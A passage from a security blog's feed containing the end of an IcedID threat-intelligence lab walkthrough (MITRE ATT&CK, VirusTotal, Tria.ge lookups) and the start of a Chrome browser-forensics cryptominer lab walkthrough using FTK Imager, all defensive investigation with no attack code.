&lt;strong&gt;NameCheap.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;768px&#34; data-flex-grow=&#34;320&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/ca43ef4e529aa6a46db2b523047867cf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-could-you-specify-the-threat-actor-linked-to-the-sample-provided&#34;&gt;Question 5: Could you specify the threat actor linked to the sample provided?&#xA;&lt;/h3&gt;&lt;p&gt;Since we know the malware family name already, we now need to hunt for the threat actor group that deploys this malware. For this, we can turn back to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; knowledge base page for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IcedID&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; which will point us in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  title=&#34;https://attack.mitre.org/software/S0483/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IcedID&lt;/strong&gt;&#xA;_IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Groups That Use This Software&lt;/strong&gt;&amp;quot;&#xA;section to identity the groups linked to the software. Let&amp;rsquo;s pick the first one (G0127) since it has the most references available.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/9920c8e48326a71404184ec161a686fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once on the page, we can see a description of &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0127/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TA551&lt;/strong&gt;&lt;/a&gt;, also known as &lt;strong&gt;GOLD CABIN.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;167&#34; height=&#34;479&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/3eaa6f93311c94bcd208bb8af9f0beca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/4dcfbf6951d7198db1ff373fd13f6f04_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-in-theexecutionphase-what-function-does-the-malware-employ-to-fetch-extra-payloads-onto-thesystem&#34;&gt;Question 6: In the &lt;strong&gt;Execution&lt;/strong&gt; phase, what function does the malware employ to fetch extra payloads onto the system?&#xA;&lt;/h3&gt;&lt;p&gt;For the final question, let&amp;rsquo;s jump back to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d/behavior&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and hunt for execution tactics within the results. Select the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Behaviors&lt;/strong&gt;&amp;quot;&#xA;tab, scroll down to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Tactics and Techniques&lt;/strong&gt;,&amp;quot;&#xA;and expand the **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Execution&amp;quot;&#xA;** section.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;613px&#34; data-flex-grow=&#34;255&#34; height=&#34;313&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/202597d76cb7ec558b88c14fcbcdc861_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a cursory scan, we&amp;rsquo;ll spot a potential hit for the function we are looking for, &lt;strong&gt;UrlDownloadToFile.&lt;/strong&gt; Next, let&amp;rsquo;s take this a step further and check the malware&amp;rsquo;s file hash on another source, &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Recorded Future Triage (Tria.ge)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&#34;  title=&#34;https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Reports | Triage&lt;/strong&gt;&#xA;_Edit description_tria.ge&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;477px&#34; data-flex-grow=&#34;199&#34; height=&#34;402&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/2387c60b9d81107d019c19b9fc481024_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After submitting the file hash, let&amp;rsquo;s see what we can discover by selecting any of the available reports. Then, within the report, navigate to the &lt;strong&gt;Malware Config&lt;/strong&gt; section which displays the source of the file.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll see within the malware&amp;rsquo;s configuration a similar function to the one we identified on &lt;strong&gt;VirusTotal,&lt;/strong&gt; calling the URLs previously identified. This gives us a high degree of confidence that we&amp;rsquo;ve found the right function. Now let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;371px&#34; data-flex-grow=&#34;154&#34; height=&#34;517&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/2e5d2af571ac8d9ce6626aeb7cd33af9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/241110-ncqlyavnct&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tria.ge/241110-ncqlyavnct&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;872px&#34; data-flex-grow=&#34;363&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/00996c205935945a370decf471617e98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Job well done!&lt;/strong&gt; After collecting the &lt;strong&gt;IcedID&lt;/strong&gt; file hash, we moved over to &lt;strong&gt;VirusTotal&lt;/strong&gt; to learn more about the next stage payload downloaded by the malware and where it was hosted. Then, we leveraged &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to identify which threat actor group the malware is associated with. Finally, we reviewed the same sample on &lt;strong&gt;Tria.ge&lt;/strong&gt; to gain additional indicators of how the payload is downloaded. We&amp;rsquo;ve now put the pieces together and can provide our team with context and indicators of compromise to watch out for! Having completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/icedid/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IcedID Lab&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, for another engaging lab. I always keep a threat intelligence challenge in the rotation. I believe that experience with tools like &lt;strong&gt;VirusTotal, MITRE ATT&amp;amp;CK&lt;/strong&gt;, and &lt;strong&gt;Tria.ge&lt;/strong&gt; is a fundamental skill in this field. Hands-on practice with these tools can be especially beneficial when time is of the essence during incident response or when defending against a specific threat actor. I don&amp;rsquo;t often get the opportunity to work with &lt;strong&gt;Tria.ge&lt;/strong&gt;, but every time I encounter it, I&amp;rsquo;m really impressed with the output and results — I&amp;rsquo;ll definitely turn to this tool more often in the real world!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — IcedID (S0483):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0483/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Groups — TA551 (G1027):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0127/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/groups/G0127/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recorded Future Triage Reports:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  —  Browser Forensics -Cryptominer Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/</link>
            <pubDate>Mon, 10 Feb 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/edb634b8375a2333d04e1b36b583fea7_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  —  Browser Forensics -Cryptominer Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinebrowser-forensicscryptominer-walkthrough&#34;&gt;Blue Team Labs Online — Browser Forensics — Cryptominer Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-incident-response-challenge-using-ftk-imager-and-the-google-chrome-browsercache&#34;&gt;An incident response challenge using FTK Imager and the Google Chrome browser cache.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;edb634b8375a2333d04e1b36b583fea7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;356px&#34; data-flex-grow=&#34;148&#34; height=&#34;539&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/edb634b8375a2333d04e1b36b583fea7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you’ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Browser Forensics -Cryptominer&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this incident response scenario, we’re handed a forensic image of a victim’s device suspected to be infected with crypto mining malware, and it’s up to us to uncover more details about the activity. Our objective is to analyze the local &lt;strong&gt;Google Chrome&lt;/strong&gt; browser cache to identity the miner, determine if it’s malicious, and understand how it operates.&lt;/p&gt;&#xA;&lt;p&gt;To perform the analysis, we’re going to leverage &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FTK Imager&lt;/strong&gt;&lt;/a&gt; to explore the device image. Then, we’ll examine the Google Chrome cache and enrich our findings with some external research to learn more about the crypto miner. Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Our SOC alerted that there is some traffic related to crypto mining from a PC that was just joined to the network. The incident response team acted immediately, observed that the traffic is originating from browser applications. After collecting all key browser data using FTK Imager, it is your job to use the ad1 file to investigate the crypto mining activity.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;em&gt;Blue Team Labs Online (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c&#34;&gt;[&lt;strong&gt;GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-1&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-2&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start our investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-browser-profiles-are-present-in-googlechrome&#34;&gt;Question 1: How many browser-profiles are present in Google Chrome?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off this challenge by extracting the challenge file, &lt;code&gt;TUJTWfM5uUCHWUHzC5cfEDVYZqw9tYSgS53jWRKc&lt;/code&gt; with the provided password. Inside, we’ll find a folder containing &lt;code&gt;BrowserData.zip&lt;/code&gt; — Go ahead and extract that one, too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;18198afe42185984866f6d679e682eba_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/18198afe42185984866f6d679e682eba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will give us the challenge file &lt;code&gt;browserdata.ad1&lt;/code&gt;, a disk image file created by &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FTK Imager&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; If you aren’t familiar with it, &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FTK imager&lt;/strong&gt;&lt;/a&gt; is a forensic hard disk imaging tool. For this challenge, we’ll use it to mount the evidence/challenge file so that we can analyze the file system within the image, search the user’s &lt;strong&gt;Chrome&lt;/strong&gt; history, and even extract artifacts from the image.&lt;/p&gt;&#xA;&lt;p&gt;To start, launch &lt;strong&gt;FTK Imager&lt;/strong&gt; and load the file by pressing _File &amp;gt; Add Evidence Item &amp;gt; Image File &amp;gt; S_elect the extracted Challenge File &lt;em&gt;(&lt;/em&gt;&lt;code&gt;browserdata.ad1&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6432032719219880f1d5660f3d589489_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/6432032719219880f1d5660f3d589489_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Loading the Challenge File in FTK Imager&lt;/p&gt;&#xA;&lt;p&gt;Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.&lt;/p&gt;&#xA;&lt;p&gt;Since the alert pointed to a browser-based attack, we need to navigate to the file path for the &lt;strong&gt;Google Chrome Browser&lt;/strong&gt; data. You might be asking yourself, “&lt;em&gt;where do I find that?&lt;/em&gt;” — great question! I’ll point to a handy resource from &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Foxton Forensics, Browser History Examiner — User Guide&lt;/strong&gt;&lt;/a&gt; which can help point us in the right direction:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Location of Google Chrome history&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;C:\Users&amp;lt;username&amp;gt;\AppData\Local\Google\Chrome\User Data\Default&#xA;C:\Users&amp;lt;username&amp;gt;\AppData\Local\Google\Chrome\User Data\Default\Cache&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Back in &lt;strong&gt;FTK,&lt;/strong&gt; navigate to that file path:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c018fa57fc2d58f16a491dc801f3c840_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;466px&#34; data-flex-grow=&#34;194&#34; height=&#34;412&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/c018fa57fc2d58f16a491dc801f3c840_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we’ll need to determine the location of the user profiles to analyze how many are present. &lt;strong&gt;Chrome&lt;/strong&gt; profiles are stored in the user’s &lt;code&gt;AppData &amp;gt; Local &amp;gt; User Data&lt;/code&gt; folder. Besides the default profile, additional profiles will be named &amp;ldquo;Profile #&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Based on the evidence, there are two profiles: &lt;code&gt;Default&lt;/code&gt; and &lt;code&gt;Profile 1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f7365ff453b7d5553b441df35fc2709b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;466px&#34; data-flex-grow=&#34;194&#34; height=&#34;412&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/f7365ff453b7d5553b441df35fc2709b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5cfc595c8d42490f6d11b1b7011e5063_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3428px&#34; data-flex-grow=&#34;1428&#34; height=&#34;56&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/5cfc595c8d42490f6d11b1b7011e5063_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-browser-theme-installed-on-googlechrome&#34;&gt;Question 2: What is the name of the browser theme installed on Google Chrome?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2,&lt;/strong&gt; we’re searching for a browser theme. Let’s refer back to the &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Foxton Forensics&lt;/strong&gt;&lt;/a&gt; guide where we’ll discover that user’s browser settings are stored in the &lt;code&gt;Preferences&lt;/code&gt; JSON file.&lt;/p&gt;&#xA;&lt;p&gt;Let’s check it out and leverage the “find” function to search for “theme.”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 